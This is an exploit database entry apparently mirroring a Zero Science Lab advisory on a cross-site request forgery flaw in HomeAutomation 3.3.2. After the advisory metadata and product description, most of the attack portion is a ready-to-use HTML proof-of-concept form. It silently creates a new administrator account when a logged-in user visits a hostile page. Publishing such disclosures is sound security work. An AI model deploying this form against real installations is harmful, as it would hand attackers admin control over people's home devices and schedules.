HomeAutomation 3.3.2 - Cross-Site Request Forgery (Add Admin)

2019-12-30T00:00:00
ID EXPLOITPACK:9458F76A80CBFBBD0EE26AC8BA6853C6
Type exploitpack
Reporter LiquidWorm
Modified 2019-12-30T00:00:00

Description

HomeAutomation 3.3.2 - Cross-Site Request Forgery (Add Admin)

                                        
                                            # Exploit: HomeAutomation 3.3.2 - Cross-Site Request Forgery (Add Admin)
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: Tom Rosenback and Daniel Malmgren
# Product web page: http://karpero.mine.nu/ha/
# Affected version: 3.3.2
# Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
# Advisory ID: ZSL-2019-5558
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5558.php


HomeAutomation v3.3.2 CSRF Add Admin Exploit


Vendor: Tom Rosenback and Daniel Malmgren
Product web page: http://karpero.mine.nu/ha/
Affected version: 3.3.2

Summary: HomeAutomation is an open-source web interface and scheduling solution.
It was initially made for use with the Telldus TellStick, but is now based on a
plugin system and except for Tellstick it also comes with support for Crestron,
OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,
etc.) based on an advanced scheduling system, taking into account things like
measurements from various sensors. With the houseplan view you can get a simple
overview of the status of your devices at their location in your house.

Desc: The application interface allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. This can
be exploited to perform certain actions with administrative privileges if a logged-in
user visits a malicious web site.

Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
           Apache/2.4.29 (Ubuntu)
           PHP/7.4.0RC4
           PHP/7.3.11
           PHP 7.2.24-0ubuntu0.18.04.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5558
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5558.php


06.11.2019

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<html>
  <body>
    <form action="http://localhost/homeautomation_v3_3_2/?page=conf-usercontrol" method="POST">
      <input type="hidden" name="id" value="-1" />
      <input type="hidden" name="action" value="save" />
      <input type="hidden" name="editable" value="2" />
      <input type="hidden" name="username" value="testingus" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="firstname" value="Tester" />
      <input type="hidden" name="lastname" value="Testovski" />
      <input type="hidden" name="email" value="test@zeroscience.mk" />
      <input type="hidden" name="userlevel" value="3" />
      <input type="hidden" name="save" value="Save" />
      <input type="submit" value="Addmoi" />
    </form>
  </body>
</html>